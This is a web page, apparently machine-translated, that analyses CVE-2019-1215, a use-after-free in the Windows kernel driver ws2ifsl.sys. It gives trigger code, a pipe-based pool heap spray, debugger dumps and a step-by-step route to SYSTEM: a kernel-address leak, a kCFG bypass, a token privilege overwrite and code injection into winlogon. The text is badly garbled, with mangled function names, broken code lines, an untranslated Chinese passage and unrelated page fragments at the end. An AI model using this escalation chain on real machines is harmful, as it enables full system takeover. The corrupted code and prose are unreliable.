In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article shows you how to analyze post-use release vulnerabilities in Windows kernel ws2ifsl.sys. The content is concise and easy to understand, which will definitely brighten your eyes. I hope you can get something through the detailed introduction of this article.
We will analyze the recently fixed post-use release vulnerability (CVE-2019-1215), which exists in ws2ifsl.sys and, once successfully exploited, will make it possible for an attacker to locally elevate rights. Previously, this vulnerability existed in Windows 7, Windows 8, Windows 10, Windows 2008, Windows 2012 and Windows 2019, but Microsoft successfully fixed it in September 2019.
Next, we will analyze the causes of the vulnerability and try to test it on the Windows 10 19H1 (1903) x64 platform.
Ws2ifsl introduction
The ws2ifsl component is a winsocket-related driver that implements two objects:
A process object
A socket object
This driver implements several schedulers. When calling NtCreateFile, the file name will be set to\ Device\ WS2IFSL\, the DispatchCreate function will be called, and the function will judge based on the _ FILE_FULL_EA_INFORMATION.EaName string in the file name. If it is NifsPvd, it will call CreateProcessFile, and if it is NifsSct, it will call CreateSocketFile.
Both the CreateSocketFile and CreateProcessFile functions create internal objects called "procData" and "socketData". Once created, these objects are saved in the _ FILE_OBJECT.FsContext of the file object, which is created in dispatch routine.
The file object can be accessed in user mode, that is, the handle object returned from NtCreateFile. This handle can be used to execute DeviceIoControl or call WriteFile. The "procData" and "sockedData" objects do not refer directly to ObfReferenceObject and ObfDereferenceObject, but to the underlying file object. In addition, the driver implements two APC objects, "request queue" and "cancel queue". The APC mechanism executes functions asynchronously in another thread, and because multiple APC can be enforced in another thread, the kernel implements a queue that stores all the APC to be executed.
The "procData" object contains these two APC objects, which are initialized by CreateProcessFile in initializerqueue and InitializeCancelQueue. An APC object is initialized by KeInitializeApc and receives a target thread and a function as parameters. In addition, processor mode (kernel or user mode) and RundownRoutine are set. If it is ws2ifsl, the RundownRoutine is RequestRundownRoutine and CancelRundownRoutine, and the processor mode is set to user mode. These RundownRoutine are used for cleanup and are called by the kernel if the thread has a chance to die before executing inside the APC. This happens because APC is executed in the thread only when it is set to the alertable state. For example, if the second parameter is set to TRUE when calling SleepEx, you can set the thread to the alertable state.
The driver also implements a program to read and write dispatch in DispatchReadWrite, and only the socket object can be accessed, and it can also call DoSocketReadWrite. This function adds the APC element to the APC queue by calling the SignalRequest function and using the ntasking KeInsertQueueApc function.
Communicate with the driver
In some cases, the driver will automatically create a symbolic link, and its name can be used as the file name of CreateFileA, but this is not the case with ws2ifsl. It can only be called if the DeviceName of ntasking IoCreateDevice is set to 'DeviceWS2IFSL'. However, we can access the dispatch function ws2ifslated DispatchCreate by calling the local API NtOpenFile. The related code is as follows:
HANDLE fileHandle = 0 Unicode string deviceName;RtlInitUnicodeString (& deviceName, (PWSTR) L "\\ Device\\ WS2IFSL"); OBJECT_ATTRIBUTES object;InitializeObjectAttributes (& object, & deviceName, 0, NULL, NULL); IO_STATUS_BLOCK IoStatusBlock; NtOpenFile (& fileHandle, GENERIC_READ, & object, & IoStatusBlock, 0,0)
The DispatchCreate function checks the extended property of the call, which can only be set through the NtCreateFile system call.
For process objects, the extended attribute (ea) data buffer must contain a thread handle that belongs to the current process, which will be used later.
Patch analysis
First, we need to compare the unfixed version of ws2ifsl (10.0.18362.1) with the fixed version (10.0.18362.356).
The fixed functions are as follows:
CreateProcessFileDispatchCloseSignalCancelSignalRequestRequestRundownRoutineCancelRundownRoutine
A function has been added to the repaired version: DereferenceProcessContext
The most obvious of these is that all the fixed functions contain calls to the new function DereferenceProcessContext:
The "procData" object adds a new member and uses reference counting. For example, in the CreateProcessFile responsible for all initialization, this new member is set to 1.
The old version: procData- > tag = 'corP';* (_ QWORD *) & procData- > processId = PsGetCurrentProcessId (); procData- > field_100 = 0; the new version: procData- > tag =' corP';* (_ QWORD *) & procData- > processId = PsGetCurrentProcessId (); procData- > dword100 = 0Tring data-> referenceCounter = 1i64; / / new
The DereferenceProcessContex function will check the reference count and call ntasking ExFreePoolWithTag.
The new version of the DispatchClose function will change from calling ntasking ExFreePoolWithTag to calling DereferenceProcessContext, that is, if the reference count is not zero, then "procData" will not be released, only its reference count will be decremented by one.
The repaired SignalRequest adds referenceCounter before calling the ntasking KeInsertQueueApc.
The vulnerability exists because the "procData" object can be released even if a request for an APC,DispatchClose function that is already in the queue is made. The DispatchClose function is called whenever the last reference to the file handle is closed (by calling CloseHandle).
The new version uses the new referenceCounter to ensure that the buffer is not released until the last reference is deleted. In the case of RundownRoutine (including references), delete the DereferenceProcessContext reference at the end of the function and increment the reference count by one before calling ntcounter KeInsertQueueApc. If an error occurs, the reference is also deleted (to avoid memory leaks).
Vulnerability trigger
To trigger this vulnerability, we first create a "procData" handle and a "socketData" handle, then write malicious data to "socketData" and close both handles. Next, the thread terminates the call to APC RundownRoutine and processes the released data.
Vulnerability trigger code:
In CreateProcessHandle: g_hThread1 = CreateThread (0,0, ThreadMain1, 0,0,0); eaData- > A1 = (void*) gThread1; / / thread must be in current process eaData- > a2 = (void*) 0x2222222; / / fake APC Routine eaData- > a3 = (void*) 0x3333333; / / fake cancel Rundown Routine eaData- > a4 = (void*) 0x4444; eaData- > a5 = (void*) 0x5555555 NTSTATUS status = NtCreateFile (& fileHandle, MAXIMUM_ALLOWED, & object, & IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof (FILE_FULL_EA_INFORMATION) + sizeof ("NifsPvd") + sizeof (PROC_DATA)); DWORD supSuc = SuspendThread (g_hThread1); in main: HANDLE procHandle = CreateProcessHandle (); HANDLE sockHandle = CreateSocketHandle (procHandle); char* writeBuffer = (char*) malloc (0x100); IO_STATUS_BLOCK io;LARGE_INTEGER byteOffset ByteOffset.HighPart = 0byteOffset.LowPart = 0BYBYTEOffset.u.LowPart = 0X byteOffset.u.LowPart = 0scape Ulong key = 0; CloseHandle (procHandle); NTSTATUS ret = NtWriteFile (sockHandle, 0,0,0, & io, writeBuffer, 0x100, & byteOffset, & key)
Set a breakpoint at the DispatchClose release, and we will see:
Breakpoint 2 Hitws2ifslopes DispatchClose0x7d: fffff806`1b8e71cd e8ceeef3fb call ntExfreePool (fffff806`178260a0) 1: kd > db Rcxffae0d`ceafbc70 50 72 6f 63 00 00 00-8c 07 00 00 00 Proc.1: kd > gBreakpoint 0 hitws2ifsloping RequestRundownRoutine: fffff8061b8e12d0 48895c2408 mov qword ptr [rsp+8], kd > db rcx- 30ffffae0d`ceafbc70 50 72 663 00 00 00-8c 07 00 00 00 Proc.
Because the procData object has been released, RundownRoutine will process the released data. Generally speaking, a crash does not occur at this time because the data block is not reallocated.
Heap injection
Next, let's take a look at how to exploit this vulnerability.
First, we need to know the size of the buffer and allocation pool.
Using the pool command on the buffer to be freed, we can see that it is allocated on Nonpaged pool with a size of 0x120 bytes.
1: kd >! pool ffff8b08905e9910Pool page ffff8b08905e9910 region is Nonpaged pool*ffff8b08905e9900 size: 120 previous size: 0 (Allocated) * Ws2P Process: ffff8b08a32e3080 Owning component: Unknown (update pooltag.txt)
Looking at the buffer allocated in ws2ifslated CreateProcessFile, we can see:
PAGE:00000001C00079ED mov edx, 108h; sizePAGE:00000001C00079F2 mov ecx, 200h; PoolTypePAGE:00000001C00079F7 mov R8d, 'P2sW'; TagPAGE:00000001C00079FD call cs:__imp_ExAllocatePoolWithQuotaTag
The following code can be used to allocate user-controlled data to buffers with multiple 0x120 bytes:
Int doHeapSpray () {for (size_t I = 0; I)
< 0x5000; i++) { HANDLE readPipe; HANDLE writePipe; DWORD resultLength; UCHAR payload[0x120 - 0x48]; RtlFillMemory(payload, 0x120 - 0x48, 0x24); BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload)); res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL); } return 0;} 如果我们将这个堆喷射合并到漏洞触发代码中,我们就能在nt!KiInsertQueueApc中触发一次漏洞检查,而程序崩溃是由于对"liked list"操作所引起的。 .text:00000001400A58F6 mov rax, [rdx].text:00000001400A58F9 cmp [rax+_LIST_ENTRY.Blink], rdx.text:00000001400A58FD jnz fail_fast.text:00000001401DC2EA fail_fast: ; CODE XREF: KiInsertQueueApc+53↑j.text:00000001401DC2EA ; KiInsertQueueApc+95↑j ....text:00000001401DC2EA mov ecx, 3.text:00000001401DC2EF int 29h ; Win8: RtlFailFast(ecx) 错误检查在命令int 29处执行,在检查发生崩溃的寄存器时,我们可以看到RAX寄存器指向的是我们控制的数据。 rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599 r8=ffff8b08a39c3118 r9=fffff80574d87490 r10=fffff80574d87490r11=0000000000000000 r12=0000000000000000 r13=0000000000000000r14=0000000000000000 r15=0000000000000000 0: kd>Dq ffff8b08905e82d0ffff8b08`905e82d0 24242424242424242424242424ff8b0905e82e0242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424
The call stack that caused the crash is as follows:
0: kd> k # Child-SP RetAddr Call Site00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x1202 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x95203 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x10704 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x6905 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd006 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x32507 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a8708 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e80a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f20b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x480c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart
In the above code, error detection is triggered by the sudden termination of the main thread, which occurs because the APC we destroyed is still in the queue, and the disconnect operation can handle the corrupted data. A security break check is triggered because the front and rear pointers are corrupted and do not point to a valid list of links.
KeRundownApcQueues
We need to convert the released APC element to valid content, and after triggering an error and rewriting the old "prodata", we need the thread that exits the APC queue. At this point, the kernel will call the ntspeak KeRundownApcQueues function and check for ntspeak KiFlushQueueApc!.
At this point, we can control the contents of the buffer, and we can avoid security exceptions, because the valid pointer to the linked list uses a value inside "kthread" to check. If we are running at a medium integrity level, calling NtQuerySystemInformation with SystemHandleInformation may reveal the address of "kthread". If we use the "kthread" address to create a recycled "procData" and ntasking KeRundownApcQueues tries to execute a user-controlled function pointer in the "procData" object, we can avoid triggering error checking.
Bypass kCFG
After we control the function pointer we want to execute, there is a small hurdle to overcome. At a medium integrity level, the base addresses of all loaded modules can be disclosed through NtQuerySystemInformation / SystemModuleInformation. So we now at least know where execution can be transferred.
However, the APC function pointer calls are protected by the CFI kernel control flow implemented by Microsoft. If we call random ROP gadget, the kernel throws an error check.
Fortunately, from a CFG perspective, function prefaces are valid branching targets, so we know what can be called without having to stop. When calling the ntasking KeRundownApcQueues function pointer, the first parameter (rcx) points to the "procData" buffer, and the second parameter (rdx) is zero.
Another possibility we can use is to call the APC function pointer by calling the local function NtTestAlert.
When the APC function pointer is called with NtTestAlert, the first argument (rcx) points to the "procData" buffer, and the second argument (rdx) also points to it.
After looking for some small functions and performing operations based on a given constraint, we found a suitable object: ntshipping SeSetAccessStateGenericMapping.
As shown below, ntslave SeSetAccessStateGenericMapping can be used to perform 16-byte arbitrary writes:
However, the second half of the 16 bytes is not fully controlled, but the first 8 bytes are based on the data provided by the heap spray.
Token override
In the old version of Windows, there were many techniques that could convert an arbitrary write operation into a complete kernel read-write primitive. The easiest way is to override the Present and Enabled members of this structure with all bits enabled. This will give us SeDebugPrivilege privileges, allowing us to inject code into highly privileged processes, such as "winlogon.exe".
Get system permissions
Once we have injected the code into the system process, we can run "cmd.exe" and get the interactive shell. At the same time, we avoid many problems such as kCFG and SMEP, because we don't execute ROP or execute any ring0 code in the wrong context.
The above content is how to analyze post-use release vulnerabilities in Windows kernel ws2ifsl.sys. Have you learned any knowledge or skills? If you want to learn more skills or enrich your knowledge reserve, you are welcome to follow the industry information channel.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.